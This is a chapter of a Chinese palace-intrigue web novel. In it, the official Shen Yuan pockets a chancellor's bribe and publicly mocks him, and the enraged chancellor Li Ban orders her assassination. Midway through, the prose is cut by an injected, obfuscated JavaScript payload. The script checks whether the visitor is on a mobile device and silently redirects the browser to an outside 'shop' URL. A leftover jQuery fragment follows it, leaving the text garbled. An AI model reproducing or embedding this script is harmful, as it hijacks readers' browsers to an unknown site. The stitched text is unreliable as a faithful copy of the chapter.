72. 相爷的养心丸

作品:《疯批权臣每天都想物理借根

    裴度觉得帐篷里的风有些凉,顺着领口直往里灌。


    他看着沈怨。


    火光映在那张年轻的脸上,神情平静,看不出是在开玩笑。


    这可不是怕不怕的事。


    这是把脖子洗干净了,主动往铡刀下面送。


    “大人,这信要是发出去……”


    裴度喉咙发紧,话在嘴边打了个转,还是说了出来。


    “那就是告诉李相,您收了钱,还要当着满朝文武的面,把他的脸皮剥下来踩。”


    以后别说转圜的余地,恐怕连个全尸都难留。


    这百十号人的队伍,哪怕到了幽州,也会被那位权倾朝野的相爷视作眼中钉。


    沈怨侧过头,有些奇怪地看了他一眼。


    “不然呢?”


    她反问得轻描淡写。


    “你觉得我们现在还是朋友?”


    裴度一时语塞。


    沈怨把玩着手里的毛笔,笔尖未蘸墨,在空中虚虚画了两下。


    “从拿着陛下的金牌出京那天起,咱们在他眼里就是死人了。”


    “既然早晚要翻脸,为什么要等他准备好?不如趁我心情好,挑个我喜欢的姿势翻。”


    她走到那口黑漆木箱旁,弯腰,随手捡起一根金条。


    “况且,这笔钱给得确实不少。”


    裴度脑子有点跟不上。


    这都什么时候了,还在算账?


    沈怨没理会他的错愕,指尖在金条上轻轻敲击,发出笃笃的闷响。


    一根小黄鱼,足重十两。


    这一箱子码得整整齐齐,少说也有百根,那就是一千两黄金。


    按照如今市面上的行价,金银兑换一比十,这是一万两白银。


    京城内城,靠近朱雀大街的三进院子,带花园假山的,顶天了也就八千两。


    这一箱子砸下去,不仅能全款置办一套宅子,剩下的银两还够她去教坊司请几个琴师,买几车孤本话本,舒舒服服地躺到七老八十。


    这哪里是贿赂。


    这分明是相爷看她查案辛苦,提前预支的养老金。


    至于那封信……


    不过是离职前,顺手给老东家递的一份工作总结罢了。


    想到这,沈怨眉眼舒展,随手将手里的金条抛了过去。


    “接着,润笔费。”


    裴度下意识伸手接住。


    入手的沉重感让他手腕往下一沉,差点没拿稳。


    这不仅仅是黄金的分量,更是某种沉甸甸的把柄。


    他像是烫手一般,下意识想塞回去。


    “大人!这不合规矩……”


    “什么规矩?”


    沈怨打断他,语气里带了几分不耐。


    “让你拿着就拿着,跟着我做事,总不能让你喝西北风。”


    “往后回了京,挑个清净地段,也置办个宅子。读书人,没个像样的书房怎么做学问?”


    她说得理所当然。


    仿佛他们此刻不是身处危机四伏的北巡途中,而是在京城的茶楼里商量着年底的分红置业。


    裴度张了张嘴,最后还是闭上了。


    他看着沈怨,忽然生出一个荒谬的念头。


    这位沈大人,或许压根就没把李半放在眼里。


    又或者,在她那套奇怪的算账逻辑里,得罪当朝宰相的风险,远没有这一万两白银落袋为安来得实在。


    这是个疯子。


    也是个大方的疯子。


    裴度深吸一口气,把那根金条揣进了袖袋里。


    既然已经上了这条随时可能沉的船,那不如选个离救生板最近的位置。


    他对着沈怨长长一揖。


    “下官……晓得了。”


    “这就去办。”


    裴度转身走出帐篷,脚步比来时沉稳了些。


    ……


    子时,京城,相府。


    书房内灯火通明。


    李半坐在太师椅上,手边的六安瓜片已经没了热气。


    管家跪在地上,把北上一路的见闻,连同在沈怨帐中的对话,一五一十地复述了一遍。


    尤其是沈怨咬金条试真伪的那一段,管家学得格外细致。


    李半静静听着,脸上没什么表情。


    直到管家说完,他才缓缓端起茶盏,撇了撇浮沫。


    “收了?”


    “是,收得干脆利落。”


    “她还说什么了?”


    管家犹豫了一下,低声道:“沈大人说……会把钱都用在查案上,每一文钱都会花在刀刃上,绝不辜负相爷的一番心意。”


    书房里陷入了死一般的寂静。


    李半的手指在紫檀木桌面上轻轻敲击。


    笃、笃、笃。


    他在官场摸爬滚打四十余年,送出去的银子能堆成山。


    见过假清高推辞的,见过贪得无厌嫌少的,也见过拿了钱不办事的。


    可他从未见过收了钱,还要把这钱当成查案经费,反过来恶心送钱人的。


    这路数,太野。


    野得不像是朝堂上的博弈,倒像是市井无赖的撒泼打滚。


    “相爷,”管家小心翼翼地抬起头,“那沈怨年纪轻,或许只是少年得志,不知道天高地厚,想跟您……摆摆架子?”


    李半没有接话。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239785|197673||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他心里总觉得哪里不对劲。


    就在这时,门外传来一阵急促的脚步声。


    一名亲信快步走进,手里高高举着一封信。


    “相爷!翰林院那边送来的,说是……说是沈大人的加急公文。”


    翰林院?


    李半眉头微皱。


    那是清流言官聚集的地方,沈怨把信送去那里做什么?


    信封上没有火漆,像是随手誊抄的副本。


    他接过来,展开。


    只看了一眼标题,李半的呼吸便是一滞。


    《关于匿名人士行贿行为的若干点评与致谢》


    字迹狂草,力透纸背。


    李半的目光顺着那一行行字往下扫。


    “行贿者,须有诚意……区区百两黄金,未免小家子气……”


    “行贿之方式,须有新意……金条俗不可耐,毫无审美可言,差评……”


    “行贿之言辞,须有敬意……”


    李半捏着信纸的手指开始泛白。


    看到最后那句“该笔款项将全数充入本次北巡专案用度,每一笔开销,都将记录在案,并于翰林院张榜公示,以彰其功”,李半只觉得脑子里嗡的一声。


    一股热血直冲天灵盖。


    “咳——”


    他猛地咳嗽起来,喉头一阵腥甜,竟是硬生生咳出了一点血星子,溅在那张写满嘲讽的信纸上。


    “相爷!”


    管家和亲信大惊失色,连忙扑上来搀扶。


    “滚开!”


    李半一把挥开他们,手边的茶盏被袖子带倒,摔得粉碎。


    他胸口剧烈起伏,脸色铁青,指着那封信的手指都在哆嗦。


    羞辱!


    这是赤裸裸的羞辱!


    他李半权倾朝野,什么时候被人这样骑在脖子上拉屎?


    拿他的钱,查他的案子,最后还要给他写一封感谢信,贴在全天下读书人眼皮子底下的翰林院?


    这叫杀人诛心!


    “好……好你个沈怨……”


    李半扶着桌沿,好半天才缓过这口气,眼底布满了血丝。


    他死死盯着信纸上那个名字,声音像是从牙缝里挤出来的。


    “来人。”


    一道黑影无声无息地出现在书房的角落里。


    李半闭了闭眼,再睁开时,眼里的怒火已经压了下去,只剩下一片阴冷的杀意。


    “传信给幽州。”


    “告诉那头狼,不用再试探了。”


    他将那封信揉成一团,狠狠扔进脚边的炭盆里。


    火舌瞬间吞噬了纸团。


    “让她死在进城之前。”